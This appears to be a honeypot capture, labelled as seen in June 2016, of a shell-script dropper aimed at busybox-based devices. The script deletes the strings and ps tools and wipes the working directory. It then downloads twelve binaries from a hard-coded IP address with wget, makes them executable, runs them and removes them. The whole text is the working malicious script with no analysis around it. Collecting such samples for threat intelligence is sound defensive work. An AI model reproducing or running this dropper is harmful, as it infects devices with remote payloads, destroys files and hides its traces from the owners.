Honeypot Payload! Seen on: 2016-06-22 21:28

#!/bin/sh

busybox rm -f /usr/bin/strings || rm -f /usr/bin/strings
busybox rm -f /usr/bin/ps || rm -f /usr/bin/ps
busybox rm -f bin.sh bin.sh.* || rm -f bin.sh bin.sh.*

busybox rm -f * || rm -f *
busybox wget http://167.114.85.109/1 || wget http://167.114.85.109/1
busybox wget http://167.114.85.109/2 || wget http://167.114.85.109/2
busybox wget http://167.114.85.109/3 || wget http://167.114.85.109/3
busybox wget http://167.114.85.109/4 || wget http://167.114.85.109/4
busybox wget http://167.114.85.109/5 || wget http://167.114.85.109/5
busybox wget http://167.114.85.109/6 || wget http://167.114.85.109/6
busybox wget http://167.114.85.109/7 || wget http://167.114.85.109/7
busybox wget http://167.114.85.109/8 || wget http://167.114.85.109/8
busybox wget http://167.114.85.109/9 || wget http://167.114.85.109/9
busybox wget http://167.114.85.109/10 || wget http://167.114.85.109/10
busybox wget http://167.114.85.109/11 || wget http://167.114.85.109/11
busybox wget http://167.114.85.109/12 || wget http://167.114.85.109/12

busybox chmod +x * || chmod +x *
./1 || ./2 || ./3 || ./4 || ./5 || ./6 || ./7 || ./8 || ./9 || ./10 || ./11 || ./12
busybox rm -f * || rm -f *
sleep 1
exit